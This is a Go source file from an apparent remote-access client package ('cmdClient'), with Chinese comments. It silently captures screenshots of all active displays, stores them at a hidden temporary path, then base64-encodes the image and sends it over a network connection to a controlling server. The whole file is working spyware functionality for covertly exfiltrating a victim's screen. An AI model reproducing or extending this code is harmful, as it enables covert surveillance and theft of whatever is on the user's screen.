package cmdClient

import (
	"encoding/base64"
	"github.com/kbinani/screenshot"
	"image/png"
	"log"
	"net"
	"os"
	"runtime"
)

// TakeScreenShot 截图功能,并存储到本地
func TakeScreenShot() {
	displayNum := screenshot.NumActiveDisplays()
	filePath := GetScreenshotFilename()
	for i := 0; i < displayNum; i++ {
		bounds := screenshot.GetDisplayBounds(i)

		img, err := screenshot.CaptureRect(bounds)
		if err != nil {
			log.Printf("screenshot: %v\n", err)
			continue
		}
		file, _ := os.Create(filePath)

		png.Encode(file, img)
		file.Close()
	}
}

// 获取不同操作系统的环境的截图临时文件的位置
func GetScreenshotFilename() string {
	var pngPath string

	if runtime.GOOS == "windows" {
		pngPath = os.Getenv("systemdrive") + "\\ProgramData\\tmp.png"
	} else {
		pngPath = "/tmp/.tmp.png"
	}
	return pngPath
}

func ScreenShot(conn net.Conn) {
	TakeScreenShot()
	file, err := os.ReadFile(GetScreenshotFilename())
	if err != nil {
		// 找不到文件，发送错误消息
		errMsg := base64.URLEncoding.EncodeToString([]byte("[!] File not found!"))
		conn.Write([]byte(string(errMsg) + "\n"))
		return
	}
	//发送一个download指令给服务器端准备接收
	srvDownloadMsg := base64.URLEncoding.EncodeToString([]byte("screenshot"))
	conn.Write([]byte(string(srvDownloadMsg) + "\n"))

	//读图片文件上传
	encData := base64.URLEncoding.EncodeToString(file)
	conn.Write([]byte(string(encData) + "\n"))
}
